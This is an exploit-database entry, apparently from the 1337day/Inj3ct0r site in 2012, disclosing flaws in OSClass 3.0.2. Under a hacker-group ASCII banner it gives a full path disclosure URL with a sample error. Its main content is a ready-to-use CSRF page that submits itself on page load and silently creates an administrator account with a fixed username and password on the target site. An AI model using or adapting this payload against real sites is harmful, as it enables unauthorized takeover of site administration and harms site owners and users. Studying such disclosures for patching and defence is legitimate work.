1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm DaOne member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##########################################
# Exploit Title: OSClass 3.0.2 CSRF/FPD Vulnerabilities
# Date: 2012-12-14
# Author: DaOne aka Mocking Bird
# Home: 1337day Inj3ct0r Exploit Database
# Software Link: http://osclass.org/
# Category: webapps/php
# Version: 3.0.2
##########################################
# Full Path Disclosure:
>> http://[host]/osclass.3.0.2/oc-content/themes/modern/admin/settings.php
NIX: Fatal error: Call to undefined function osc_get_preference() in /home/market/public_html/oc-content/themes/modern/admin/settings.php on line 1
# CSRF Add Admin Exploit:
<html>
<body onload="document.form.submit();">
<form method="POST" name="form" action="http://[target]/oc-admin/index.php">
<input type="hidden" name="action" value="add_post" />
<input type="hidden" name="page" value="admins" />
<input id="id" type="hidden" name="id" value="" />
<input type="hidden" name="s_name" value="webadmin">
<input type="hidden" name="s_username" value="webadmin"/>
<input type="hidden" name="s_email" value="admin@osclass.org"/>
<input type="hidden" name="b_moderator" value="0"/>
<input type="hidden" name="s_password" value="pass123"/>
</form>
</body>
</html>
Thanks to: TheGreaTTeAm/LCA and Inj3ct0r Team.
